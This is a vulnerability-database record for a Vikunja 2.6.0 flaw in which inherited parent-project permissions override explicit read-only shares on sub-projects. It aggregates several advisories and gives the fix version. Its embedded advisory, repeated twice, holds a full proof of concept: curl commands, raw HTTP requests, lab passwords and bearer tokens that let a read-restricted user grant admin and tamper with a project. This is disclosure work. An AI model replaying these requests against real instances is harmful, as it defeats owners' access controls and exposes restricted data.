{"id":"CVE-2026-111920","aliases":["EUVD-2026-103288","GHSA-pjr3-86v4-5p7w","GHSA-r72j-vqhw-6264","GO-2026-6745"],"status":"published","title":"Vikunja 2.6.0 Broken Access Control via Inherited Project Permissions","description":"Vikunja 2.6.0 contains a broken access control flaw in getProjectAccessForUser (pkg/models/project_access.go), which resolves a user's effective project permission as the maximum over the project tree, silently overriding explicit lower-permission shares on sub-projects. A collaborator with write access on a parent project but read-only access to a child project can modify the child project's tasks and content.","severity":{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00191,"percentile":0.08852,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-269","CWE-284"],"published":"2026-10-09T20:57:44Z","modified":"2026-10-28T15:30:05Z","fixes":[{"ecosystem":"Go","package":"code.vikunja.io/api","fixed_in":["2.7.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"code.vikunja.io/api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.0"},{"last_affected":"2.6.0"},{"fixed":"2.7.0"}]}],"versions":["2.6.0"]},{"source":"osv","ecosystem":"Go","package":"code.vikunja.io/api","ranges":[{"type":"SEMVER","events":[{"introduced":"2.6.0"},{"fixed":"2.7.0"}]}],"versions":["2.6.0"]},{"source":"osv","ecosystem":"Go","package":"code.vikunja.io/api","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]}],"products":[{"vendor":"go-vikunja","product":"vikunja"}],"references":[{"url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-pjr3-86v4-5p7w","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/vikunja-2.6.0-broken-access-control-via-inherited-project-permissions","tags":["third-party-advisory","advisory"]},{"url":"https://github.com/go-vikunja/vikunja/commit/890ca5979d0c770bb5d158362797879c115961af","tags":["web"]},{"url":"https://vikunja.io/changelog/vikunja-2.7.0-was-released","tags":["web"]},{"url":"https://github.com/advisories/GHSA-pjr3-86v4-5p7w"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111920","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-r72j-vqhw-6264"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/111xxx/CVE-2026-111920.json","tags":["advisory"]},{"url":"https://github.com/go-vikunja/vikunja","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-111920","title":"Vikunja 2.6.0 Broken Access Control via Inherited Project Permissions","description":"Vikunja 2.6.0 contains a broken access control flaw in getProjectAccessForUser (pkg/models/project_access.go), which resolves a user's effective project permission as the maximum over the project tree, silently overriding explicit lower-permission shares on sub-projects. A collaborator with write access on a parent project but read-only access to a child project can modify the child project's tasks and content.","status":"published","published":"2026-10-17T18:46:34.636Z","modified":"2026-10-18T11:17:27.926Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"},{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T14:20:15.34316Z"}],"euvd":[{"id":"EUVD-2026-103288","description":"Vikunja 2.6.0 contains a broken access control flaw in getProjectAccessForUser (pkg/models/project_access.go), which resolves a user's effective project permission as the maximum over the project tree, silently overriding explicit lower-permission shares on sub-projects. A collaborator with write access on a parent project but read-only access to a child project can modify the child project's tasks and content.","status":"published","published":"2026-10-17T18:46:34Z","modified":"2026-10-18T11:17:27Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T17:00:00.923575Z"}],"ghsa":[{"id":"GHSA-pjr3-86v4-5p7w","title":"Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)","description":"## Description\n\n### Summary\n\nIn Vikunja v2.6.0 the project-permission engine resolves a user's effective permission on a project as\nthe **MAX over the entire reachable project subtree**. As a result, when a user has been granted a\n**higher** permission on a parent project and the owner *explicitly* shares a **child** project with\nthat same user at a **lower** permission (an intended down-restriction), the explicit lower grant is\n**silently ignored** and the user receives the higher, inherited permission on the child. A user\nwho was deliberately restricted to **read-only** on a sensitive sub-project can therefore modify it,\ndelete it, and re-share it (including granting other users admin) - none of which the owner intended.\nThis is a behavior regression from v2.5.0, whose engine used \"nearest-ancestor-grant-wins\" semantics\nthat honored the explicit child grant.\n\n### Details\n\nEffective permissions are computed by a single recursive CTE in\n`pkg/models/project_access.go` (`getProjectAccessForUser`):\n\n```sql\nWITH RECURSIVE grants (project_id, permission) AS (\n    SELECT project_id, MAX(permission) FROM (\n        SELECT id AS project_id, 2 AS permission FROM projects WHERE owner_id = ?\n        UNION ALL SELECT project_id, permission FROM users_projects WHERE user_id = ?\n        UNION ALL SELECT tp.project_id, tp.permission FROM team_projects tp\n                  INNER JOIN team_members tm ON tm.team_id = tp.team_id WHERE tm.user_id = ?\n    ) direct_grants GROUP BY project_id\n),\ntree (id, permission) AS (\n    SELECT p.id, g.permission FROM projects p INNER JOIN grants g ON g.project_id = p.id\n    UNION\n    SELECT p.id, t.permission FROM projects p INNER JOIN tree t ON p.parent_project_id = t.id\n)\nSELECT id, MAX(permission) AS permission FROM tree GROUP BY id\n```\n\nFor a parent `P` where the user has a direct ADMIN(2) grant and a child `C` (with\n`parent_project_id = P`) where the user has a direct READ(0) grant, the `tree` CTE produces the rows\n`(P,2)`, `(C,0)` (direct grants) **and** `(C,2)` (the parent grant propagated down the recursion). The\nfinal `SELECT id, MAX(permission) ... GROUP BY id` collapses the child to `MAX(0, 2) = 2 (ADMIN)`. The\nexplicit READ grant on `C` is discarded.\n\nIn v2.5.0 the equivalent resolution used `ROW_NUMBER() OVER (... ORDER BY priority)` (nearest-ancestor\nwins), so the child's own direct grant took precedence and the down-restriction was honored. The switch\nto `MAX(...)` in v2.6.0 introduces the override. Code comments in `project_access.go` describe the\nadditive behavior as intentional (\"a grant on a descendant can raise an inherited permission, never\nlower it\"), so the maintainers may consider this working-as-intended - but it is a security-relevant\nregression that silently defeats an explicit, owner-configured access restriction, so it is reported\nhere for a decision.\n\n### PoC\n\nTarget: `http://localhost:3456` (Vikunja v2.6.0). Owner: `admin`. Restricted collaborator: `alice`\n(id 2). Third party used to demonstrate re-sharing: `bob`. Note Vikunja's v1 REST convention: **`PUT` =\ncreate, `POST` = update**. All values below are the **real, unredacted** values from the run.\n\n#### Step 1 - Log in as the owner (admin) and as the restricted collaborator (alice)\n\n```bash\ncurl -s -X POST http://localhost:3456/api/v1/login -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"admin\",\"password\":\"VikunjaLab123!\"}'\ncurl -s -X POST http://localhost:3456/api/v1/login -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"alice\",\"password\":\"AliceLab123!\"}'\n```\n\nReal tokens issued:\n```\nadmin: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzMsImlkIjoxLCJpc19hZG1pbiI6dHJ1ZSwianRpIjoiODY1ZmNjMDEtMDQ3Zi00NjM2LWI1M2QtNmU1MzliZTRhMDY4Iiwic2lkIjoiYTFhMDQ1YWYtOWMyMC00YmRmLWE2YzQtMjRmN2JkM2QwMDRlIiwidHlwZSI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9.4l8vTEkB_gna717cNLc_tgOI_kUBcZMjKiZH6U8sPAg\nalice: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU\n```\n\n#### Step 2 - Owner sets up the projects (parent, sensitive child, standalone control)\n\n```bash\n# parent (id 18)\ncurl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer \u003cadmin-token\u003e' -d '{\"title\":\"FinanceRoot\"}'\n# child of parent 18 (id 19)\ncurl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer \u003cadmin-token\u003e' -d '{\"title\":\"Q4-Payroll-CONFIDENTIAL\",\"parent_project_id\":18}'\n# standalone control (id 20)\ncurl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer \u003cadmin-token\u003e' -d '{\"title\":\"ControlStandalone\"}'\n```\nResult: parent `id=18`, child `id=19` (`parent_project_id=18`), control `id=20`.\n\n#### Step 3 - Owner grants: parent → alice ADMIN(2); child → alice READ(0) (the intended down-restriction); control → alice READ(0)\n\n```bash\ncurl -s -X PUT http://localhost:3456/api/v1/projects/18/users -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer \u003cadmin-token\u003e' -d '{\"username\":\"alice\",\"permission\":2}'   # -\u003e 201\ncurl -s -X PUT http://localhost:3456/api/v1/projects/19/users -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer \u003cadmin-token\u003e' -d '{\"username\":\"alice\",\"permission\":0}'   # -\u003e 201\ncurl -s -X PUT http://localhost:3456/api/v1/projects/20/users -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer \u003cadmin-token\u003e' -d '{\"username\":\"alice\",\"permission\":0}'   # -\u003e 201\n```\n\nConfirm the recorded child grant is READ(0):\n```bash\ncurl -s http://localhost:3456/api/v1/projects/19/users -H 'Authorization: Bearer \u003cadmin-token\u003e'\n# -\u003e [{\"id\":..,\"username\":\"alice\",\"permission\":0, ...}]     (0 = Read only)\n```\n\n#### Step 4 - THE FINDING: alice (explicit READ on child 19) performs an ADMIN-only operation on it - grant bob ADMIN(2)\n\n**curl**\n\n```bash\ncurl -sv -X PUT http://localhost:3456/api/v1/projects/19/users -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU' \\\n  -d '{\"username\":\"bob\",\"permission\":2}'\n```\n\n**Burp / raw HTTP request**\n\n```http\nPUT /api/v1/projects/19/users HTTP/1.1\nHost: localhost:3456\nUser-Agent: curl/8.20.0\nAccept: */*\nContent-Type: application/json\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU\nContent-Length: 33\n\n{\"username\":\"bob\",\"permission\":2}\n```\n\n**Raw HTTP response**\n\n```http\nHTTP/1.1 201 Created\nCache-Control: no-store\nContent-Type: application/json\nVary: Origin\nX-Request-Id: EbiVasgeMYwKryJMTQnKlnvzCCvDDMJb\nDate: Mon, 07 Sep 2026 17:39:34 GMT\nContent-Length: 128\n\n{\"id\":12,\"username\":\"bob\",\"permission\":2,\"created\":\"2026-09-07T17:39:34.158776607Z\",\"updated\":\"2026-09-07T17:39:34.158778081Z\"}\n```\n\nalice - restricted to READ on project 19 - successfully granted **bob ADMIN(2)** on it (a share-management\noperation that requires project admin). She can equally modify it:\n\n```bash\n# write op (POST = update); succeeds -\u003e HTTP 200\ncurl -s -o /dev/null -w '%{http_code}\\n' -X POST http://localhost:3456/api/v1/projects/19 \\\n  -H 'Content-Type: application/json' -H 'Authorization: Bearer \u003calice-token\u003e' \\\n  -d '{\"title\":\"Q4-Payroll-TAMPERED-BY-ALICE\"}'\n# -\u003e 200\n```\n\n#### Step 5 - CONTROL (proves the operation genuinely requires admin): alice performs the same op on the standalone control project 20, where she has only READ\n\n**curl**\n\n```bash\ncurl -sv -X PUT http://localhost:3456/api/v1/projects/20/users -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer \u003calice-token\u003e' -d '{\"username\":\"bob\",\"permission\":0}'\n```\n\n**Raw HTTP response**\n\n```http\nHTTP/1.1 403 Forbidden\nCache-Control: no-store\nContent-Type: application/json\nVary: Origin\nX-Request-Id: hBmvxefjkinrsotTcrotKLaMHfoxTzyK\nDate: Mon, 07 Sep 2026 17:39:34 GMT\nContent-Length: 33\n\n{\"code\":0,\"message\":\"Forbidden\"}\n```\n\nThe single-variable differential: alice's identical READ(0) grant denies the admin operation on a\nstandalone project (403), but the *same* READ(0) grant on a child of a project where she holds ADMIN is\nsilently elevated to ADMIN - the admin op succeeds (201). This isolates the cause to the\ninherited-permission override, not to alice's explicit grant.\n\n### Impact\n\nThis is a **broken access control / improper privilege management** issue (CWE-269). A project owner who\ngrants a collaborator a high permission on a parent project and then explicitly shares a sensitive\nsub-project with that collaborator at a **lower** permission (e.g. read-only) does **not** get the\nrestriction they configured: the collaborator silently retains the higher inherited permission on the\nsub-project and can modify it, delete it, and re-share it to arbitrary third parties (demonstrated:\ngranting `bob` ADMIN on the read-restricted child). This defeats an explicit, security-relevant\nconfiguration and can expose or allow tampering with data on sub-projects that were meant to be\nrestricted. It is a regression from v2.6.0's predecessor, which honored the nearest (child) grant. The\nprerequisite is that the attacker already holds a higher permission on an ancestor project; the security\nloss is specifically the inability to enforce a narrower permission on a descendant.","status":"published","published":"2026-10-09T20:57:44Z","modified":"2026-10-28T15:14:59Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-269","CWE-284"],"updated_at":"2026-11-02T14:41:38.969831Z"},{"id":"GHSA-r72j-vqhw-6264","title":"Vikunja 2.6.0 contains a broken access control flaw in getProjectAccessForUser (pkg/models...","description":"Vikunja 2.6.0 contains a broken access control flaw in getProjectAccessForUser (pkg/models/project_access.go), which resolves a user's effective project permission as the maximum over the project tree, silently overriding explicit lower-permission shares on sub-projects. A collaborator with write access on a parent project but read-only access to a child project can modify the child project's tasks and content.","status":"published","published":"2026-10-17T21:31:19Z","modified":"2026-10-17T21:31:27Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"},{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T15:13:53.726362Z"}],"nvd":[{"id":"CVE-2026-111920","description":"Vikunja 2.6.0 contains a broken access control flaw in getProjectAccessForUser (pkg/models/project_access.go), which resolves a user's effective project permission as the maximum over the project tree, silently overriding explicit lower-permission shares on sub-projects. A collaborator with write access on a parent project but read-only access to a child project can modify the child project's tasks and content.","status":"published","published":"2026-10-17T19:16:34.68Z","modified":"2026-10-19T21:02:51.987Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T14:13:00.123071Z"}],"osv":[{"id":"CVE-2026-111920","title":"Vikunja 2.6.0 Broken Access Control via Inherited Project Permissions","description":"Vikunja 2.6.0 contains a broken access control flaw in getProjectAccessForUser (pkg/models/project_access.go), which resolves a user's effective project permission as the maximum over the project tree, silently overriding explicit lower-permission shares on sub-projects. A collaborator with write access on a parent project but read-only access to a child project can modify the child project's tasks and content.","status":"published","published":"2026-10-17T18:46:34.636Z","modified":"2026-10-28T02:30:36.572422013Z","cvss":[{"version":"4.0","score":5.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-269"],"updated_at":"2026-11-02T15:44:55.938017Z"},{"id":"GHSA-pjr3-86v4-5p7w","title":"Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)","description":"## Description\n\n### Summary\n\nIn Vikunja v2.6.0 the project-permission engine resolves a user's effective permission on a project as\nthe **MAX over the entire reachable project subtree**. As a result, when a user has been granted a\n**higher** permission on a parent project and the owner *explicitly* shares a **child** project with\nthat same user at a **lower** permission (an intended down-restriction), the explicit lower grant is\n**silently ignored** and the user receives the higher, inherited permission on the child. A user\nwho was deliberately restricted to **read-only** on a sensitive sub-project can therefore modify it,\ndelete it, and re-share it (including granting other users admin) - none of which the owner intended.\nThis is a behavior regression from v2.5.0, whose engine used \"nearest-ancestor-grant-wins\" semantics\nthat honored the explicit child grant.\n\n### Details\n\nEffective permissions are computed by a single recursive CTE in\n`pkg/models/project_access.go` (`getProjectAccessForUser`):\n\n```sql\nWITH RECURSIVE grants (project_id, permission) AS (\n    SELECT project_id, MAX(permission) FROM (\n        SELECT id AS project_id, 2 AS permission FROM projects WHERE owner_id = ?\n        UNION ALL SELECT project_id, permission FROM users_projects WHERE user_id = ?\n        UNION ALL SELECT tp.project_id, tp.permission FROM team_projects tp\n                  INNER JOIN team_members tm ON tm.team_id = tp.team_id WHERE tm.user_id = ?\n    ) direct_grants GROUP BY project_id\n),\ntree (id, permission) AS (\n    SELECT p.id, g.permission FROM projects p INNER JOIN grants g ON g.project_id = p.id\n    UNION\n    SELECT p.id, t.permission FROM projects p INNER JOIN tree t ON p.parent_project_id = t.id\n)\nSELECT id, MAX(permission) AS permission FROM tree GROUP BY id\n```\n\nFor a parent `P` where the user has a direct ADMIN(2) grant and a child `C` (with\n`parent_project_id = P`) where the user has a direct READ(0) grant, the `tree` CTE produces the rows\n`(P,2)`, `(C,0)` (direct grants) **and** `(C,2)` (the parent grant propagated down the recursion). The\nfinal `SELECT id, MAX(permission) ... GROUP BY id` collapses the child to `MAX(0, 2) = 2 (ADMIN)`. The\nexplicit READ grant on `C` is discarded.\n\nIn v2.5.0 the equivalent resolution used `ROW_NUMBER() OVER (... ORDER BY priority)` (nearest-ancestor\nwins), so the child's own direct grant took precedence and the down-restriction was honored. The switch\nto `MAX(...)` in v2.6.0 introduces the override. Code comments in `project_access.go` describe the\nadditive behavior as intentional (\"a grant on a descendant can raise an inherited permission, never\nlower it\"), so the maintainers may consider this working-as-intended - but it is a security-relevant\nregression that silently defeats an explicit, owner-configured access restriction, so it is reported\nhere for a decision.\n\n### PoC\n\nTarget: `http://localhost:3456` (Vikunja v2.6.0). Owner: `admin`. Restricted collaborator: `alice`\n(id 2). Third party used to demonstrate re-sharing: `bob`. Note Vikunja's v1 REST convention: **`PUT` =\ncreate, `POST` = update**. All values below are the **real, unredacted** values from the run.\n\n#### Step 1 - Log in as the owner (admin) and as the restricted collaborator (alice)\n\n```bash\ncurl -s -X POST http://localhost:3456/api/v1/login -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"admin\",\"password\":\"VikunjaLab123!\"}'\ncurl -s -X POST http://localhost:3456/api/v1/login -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"alice\",\"password\":\"AliceLab123!\"}'\n```\n\nReal tokens issued:\n```\nadmin: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzMsImlkIjoxLCJpc19hZG1pbiI6dHJ1ZSwianRpIjoiODY1ZmNjMDEtMDQ3Zi00NjM2LWI1M2QtNmU1MzliZTRhMDY4Iiwic2lkIjoiYTFhMDQ1YWYtOWMyMC00YmRmLWE2YzQtMjRmN2JkM2QwMDRlIiwidHlwZSI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9.4l8vTEkB_gna717cNLc_tgOI_kUBcZMjKiZH6U8sPAg\nalice: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU\n```\n\n#### Step 2 - Owner sets up the projects (parent, sensitive child, standalone control)\n\n```bash\n# parent (id 18)\ncurl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer \u003cadmin-token\u003e' -d '{\"title\":\"FinanceRoot\"}'\n# child of parent 18 (id 19)\ncurl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer \u003cadmin-token\u003e' -d '{\"title\":\"Q4-Payroll-CONFIDENTIAL\",\"parent_project_id\":18}'\n# standalone control (id 20)\ncurl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer \u003cadmin-token\u003e' -d '{\"title\":\"ControlStandalone\"}'\n```\nResult: parent `id=18`, child `id=19` (`parent_project_id=18`), control `id=20`.\n\n#### Step 3 - Owner grants: parent → alice ADMIN(2); child → alice READ(0) (the intended down-restriction); control → alice READ(0)\n\n```bash\ncurl -s -X PUT http://localhost:3456/api/v1/projects/18/users -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer \u003cadmin-token\u003e' -d '{\"username\":\"alice\",\"permission\":2}'   # -\u003e 201\ncurl -s -X PUT http://localhost:3456/api/v1/projects/19/users -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer \u003cadmin-token\u003e' -d '{\"username\":\"alice\",\"permission\":0}'   # -\u003e 201\ncurl -s -X PUT http://localhost:3456/api/v1/projects/20/users -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer \u003cadmin-token\u003e' -d '{\"username\":\"alice\",\"permission\":0}'   # -\u003e 201\n```\n\nConfirm the recorded child grant is READ(0):\n```bash\ncurl -s http://localhost:3456/api/v1/projects/19/users -H 'Authorization: Bearer \u003cadmin-token\u003e'\n# -\u003e [{\"id\":..,\"username\":\"alice\",\"permission\":0, ...}]     (0 = Read only)\n```\n\n#### Step 4 - THE FINDING: alice (explicit READ on child 19) performs an ADMIN-only operation on it - grant bob ADMIN(2)\n\n**curl**\n\n```bash\ncurl -sv -X PUT http://localhost:3456/api/v1/projects/19/users -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU' \\\n  -d '{\"username\":\"bob\",\"permission\":2}'\n```\n\n**Burp / raw HTTP request**\n\n```http\nPUT /api/v1/projects/19/users HTTP/1.1\nHost: localhost:3456\nUser-Agent: curl/8.20.0\nAccept: */*\nContent-Type: application/json\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU\nContent-Length: 33\n\n{\"username\":\"bob\",\"permission\":2}\n```\n\n**Raw HTTP response**\n\n```http\nHTTP/1.1 201 Created\nCache-Control: no-store\nContent-Type: application/json\nVary: Origin\nX-Request-Id: EbiVasgeMYwKryJMTQnKlnvzCCvDDMJb\nDate: Mon, 07 Sep 2026 17:39:34 GMT\nContent-Length: 128\n\n{\"id\":12,\"username\":\"bob\",\"permission\":2,\"created\":\"2026-09-07T17:39:34.158776607Z\",\"updated\":\"2026-09-07T17:39:34.158778081Z\"}\n```\n\nalice - restricted to READ on project 19 - successfully granted **bob ADMIN(2)** on it (a share-management\noperation that requires project admin). She can equally modify it:\n\n```bash\n# write op (POST = update); succeeds -\u003e HTTP 200\ncurl -s -o /dev/null -w '%{http_code}\\n' -X POST http://localhost:3456/api/v1/projects/19 \\\n  -H 'Content-Type: application/json' -H 'Authorization: Bearer \u003calice-token\u003e' \\\n  -d '{\"title\":\"Q4-Payroll-TAMPERED-BY-ALICE\"}'\n# -\u003e 200\n```\n\n#### Step 5 - CONTROL (proves the operation genuinely requires admin): alice performs the same op on the standalone control project 20, where she has only READ\n\n**curl**\n\n```bash\ncurl -sv -X PUT http://localhost:3456/api/v1/projects/20/users -H 'Content-Type: application/json' \\\n  -H 'Authorization: Bearer \u003calice-token\u003e' -d '{\"username\":\"bob\",\"permission\":0}'\n```\n\n**Raw HTTP response**\n\n```http\nHTTP/1.1 403 Forbidden\nCache-Control: no-store\nContent-Type: application/json\nVary: Origin\nX-Request-Id: hBmvxefjkinrsotTcrotKLaMHfoxTzyK\nDate: Mon, 07 Sep 2026 17:39:34 GMT\nContent-Length: 33\n\n{\"code\":0,\"message\":\"Forbidden\"}\n```\n\nThe single-variable differential: alice's identical READ(0) grant denies the admin operation on a\nstandalone project (403), but the *same* READ(0) grant on a child of a project where she holds ADMIN is\nsilently elevated to ADMIN - the admin op succeeds (201). This isolates the cause to the\ninherited-permission override, not to alice's explicit grant.\n\n### Impact\n\nThis is a **broken access control / improper privilege management** issue (CWE-269). A project owner who\ngrants a collaborator a high permission on a parent project and then explicitly shares a sensitive\nsub-project with that collaborator at a **lower** permission (e.g. read-only) does **not** get the\nrestriction they configured: the collaborator silently retains the higher inherited permission on the\nsub-project and can modify it, delete it, and re-share it to arbitrary third parties (demonstrated:\ngranting `bob` ADMIN on the read-restricted child). This defeats an explicit, security-relevant\nconfiguration and can expose or allow tampering with data on sub-projects that were meant to be\nrestricted. It is a regression from v2.6.0's predecessor, which honored the nearest (child) grant. The\nprerequisite is that the attacker already holds a higher permission on an ancestor project; the security\nloss is specifically the inability to enforce a narrower permission on a descendant.","status":"published","published":"2026-10-09T20:57:44Z","modified":"2026-10-28T15:30:05.151283145Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-269","CWE-284"],"updated_at":"2026-11-02T15:46:53.244788Z"},{"id":"GO-2026-6745","title":"Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0) in code.vikunja.io/api","description":"Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0) in code.vikunja.io/api","status":"published","published":"2026-10-19T21:08:26Z","modified":"2026-10-19T21:40:55.107455187Z","updated_at":"2026-11-02T15:47:03.11707Z"}]}}
